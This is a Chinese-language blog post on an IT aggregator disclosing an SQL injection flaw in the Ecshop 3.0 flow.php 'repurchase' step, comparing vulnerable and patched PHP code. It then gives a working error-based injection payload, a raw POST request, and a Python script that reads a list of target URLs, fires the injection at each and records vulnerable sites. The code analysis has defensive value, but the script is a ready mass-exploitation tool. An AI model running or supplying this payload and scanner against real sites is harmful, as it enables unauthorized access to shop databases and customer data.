IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Ecshop 3.0 flow.php SQL注射漏洞

    没穿底裤发表于 2016-08-05 15:25:25
    love 0

    关于这个漏洞是新版本修复了。下载了古老的版本对比才发现的。只是怎么也没有想到ecshop也会犯这种低级的错误。
    好吧,文件flow.php

    elseif ($_REQUEST['step'] == 'repurchase') {
        include_once('includes/cls_json.php');
        $order_id = strip_tags($_POST['order_id']);
        $order_id = json_str_iconv($order_id);
        $user_id = $_SESSION['user_id'];
        $json  = new JSON;
        $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
        if (!$order) {
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
            die($json->encode($result));
        }
    
        $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
        $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
        $result = array('error' => 0, 'message' => '');
        foreach ($order_goods as $goods) {
            $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
            if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
                $result = false;
                $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
            }
        }
        die($json->encode($result));
    }

    这里的参数并非是新版的$order_id = intval($_POST[‘order_id’]);

    elseif ($_REQUEST['step'] == 'repurchase') {
        include_once('includes/cls_json.php');
        $order_id = intval($_POST['order_id']);
        $order_id = json_str_iconv($order_id);
        $user_id = $_SESSION['user_id'];
        $json  = new JSON;
        $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
        if (!$order) {
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
            die($json->encode($result));
        }
    
        $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
        $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
        $result = array('error' => 0, 'message' => '');
        foreach ($order_goods as $goods) {
            $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
            if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
                $result = false;
                $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
            }
        }
        die($json->encode($result));
    }

    继续查看json_str_iconv

    function json_str_iconv($str)
    {
        if (EC_CHARSET != 'utf-8')
        {
            if (is_string($str))
            {
                return addslashes(stripslashes(ecs_iconv('utf-8', EC_CHARSET, $str)));
            }
            elseif (is_array($str))
            {
                foreach ($str as $key => $value)
                {
                    $str[$key] = json_str_iconv($value);
                }
                return $str;
            }
            elseif (is_object($str))
            {
                foreach ($str as $key => $value)
                {
                    $str->$key = json_str_iconv($value);
                }
                return $str;
            }
            else
            {
                return $str;
            }
        }
        return $str;
    }

    这里显然没过滤了 再看看上面的SQL语句 居然没有单引号包含 这样就能直接注射了
    POST提交一下内容到 http://localhost/flow.php?step=repurchase

    order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#

    1
    一个post包

    POST /flow.php?step=repurchase HTTP/1.1
    Host:?127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Cookie: ECS[visit_times]=2; ECS_ID=1998571d464009d432a17951ee5852104eba8b75
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11
     
    order_id=1*

    附上野生payload一枚

    import requests as req
    import optparse
    
    def poc(url):
        xode='MySQL server error report:Array'
        url=url+'/flow.php'
        try:
            rgg=req.get(url)
            
        except:
            return '[-]Getting '+url+' Wrong'
            
        if rgg.status_code !=200:
             return '[-]'+url+' Wrong'
      
        geturl=url+'?step=repurchase'
        payload='order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#'
        a=req.post(geturl,data=payload)
      
        if a.status_code==200:
       
            if xode in a.text:
                return 2
            else:
              
                return '[-]'+url+'Exploiting Fail'
                
        else:
            return '[-]'+url+' Fail!!'
    
    def ifhttp(url):
        if 'http://' in url:
            return url
        else:
            return 'http://'+url
    def r(filename):
        try:
            ff= open(filename).readlines()
        except:
            print'[-] The file is not exist'
            exit(0)
        return ff
    def w(url):
        f=open('Res.txt','a+')
        f.write(url+'\n')
        f.close
    if __name__=='__main__':
        parser = optparse.OptionParser('usage%prog -u <url> -r <file>')
        parser.add_option('-u', dest='url', type='string', help='the website')
        parser.add_option('-r', dest='file', type='string', help='the file')
    
        (options, args) = parser.parse_args()
        url = options.url
        
        f=options.file
        if options.url == None and f==None:
            print(parser.usage)
            exit(0)
        if options.url!=None:
            url=ifhttp(url)
            r=poc(url)
            if r==2:
                print '[+]'+url+' succeed'
                w(url)
            else:
                print r
        if f!=None:
             for fff in r(f):
                 b=fff.strip('\n')
                 r=poc(ifhttp(b))
                 if r==2:
                    print '[+]'+b+' succeed'
                    w(b)
                 
                 else:
                 
                     print r



沪ICP备19023445号-2号
友情链接